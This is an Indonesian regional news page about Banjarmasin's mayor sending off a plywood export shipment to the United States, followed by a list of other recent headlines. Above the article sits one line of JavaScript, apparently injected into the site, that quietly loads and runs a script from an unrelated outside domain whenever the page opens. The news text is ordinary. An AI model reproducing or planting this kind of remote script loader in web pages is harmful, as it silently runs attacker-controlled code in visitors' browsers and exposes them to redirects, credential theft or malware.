(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Walikota Ibnu Sina Lepas Ekspor Kayu Lapis ke Amerika


BANJARMASIN, Walikota Banjarmasin Ibnu Sina melepas hasil produksi kayu lapis PT Basirih Industrial untuk ekspor ke Amerika Serikat, Minggu (26/5).

“Ini menjadi sejarah bahwa seperti ini ada di Banjarmasin. Sehingga Banjarmasin sebagai kota perdagangan dan jasa dimana perekonomiannya bukan hanya mengandalkan dari batubara saja, sekarang mungkin dari industri,” ujarnya, saat memberikan sambutannya dalam kegiatan pelepasan ekspor kayu lapis (Plywood) PT Basirih Industrial di Jalan Telaga Biru, Trisakti, Banjarmasin.

Total nilai ekspor kayu lapis yang dilakukan perusahaan tersebut mecapai Rp 1.678.723.856. Selain PT Basirih Industrial, di tahun 2019 ini setidaknya ada empat perusahaan lain di Bumi Kayuh Baimbai yang juga sukses mengekspor hasil produksinya. Di antaranya PT Bumi Jaya dengan hasil produksi karet lempengan telah melakukan ekspor ke India dengan nilai transaksi sekira Rp 4.636.800.00, kemudian PT Gawi Makmur Kalimantan hasil produksi Palm Kernel Expeller melakukan ekspor ke Vietnam dengan nilai transaksi Rp 99.200.000.000.

Selanjutnya PT Sinar Sawit Sentosa hasil produksi Palm Kernel Oil, ekspor ke Tiongkok dengan nilai transasksi Rp 2.569.235.288. Dan PT Sarikaya Sega Utama dengan hasil produksi Daun Gelinggang, diekspor ke Negara Jepang dengan nilai transkasi sekira Rp 336.000.000.

Masih menurut H Ibnu Sina, di Kota Banjarmasin, saat ini tercatat sekira 1.500 perusahaan aktif. Ia berharap, langkah kelima perusahaan tersebut dapat diikuti perusahaan lainnya. “Mudah-mudahan semakin baik industry ekonomi Indonesia, dengan begitu akan semakin baik juga usaha di kota ini, sehingga bisa memberikan dampak untuk perkembangan ekonomi dan untuk masyarakat serta warga kita,” harapnya.

Sementara itu, Kepala Badan Karantina Pertanian Ir Ali Jamil yang hadir dalam kegiatan tersebut menjelaskan, produksi yang dilakukan PT Basirih Industrial berjalan sudah cukup lama. Namun untuk membuka ekspor keluar negeri itu bukanlah hal yang mudah. Sebab salah satu syarat yang diberikan pihak luar kepada para produsen di Indonesia agar produksinya bisa diterima di negara luar harus memiliki kategori 3 K. Yakni kuantitas, kualitas, dan kontinuitas.

“Jadi banyak yang sudah kita buka ekspornya, lalu kita proses dokumen nya, karena itu harus ada protokol ekspornya dan ternyata itu hanya satu kali ekspor,” ucapnya.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

14 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

17 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

18 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

21 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

23 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

1 hari ago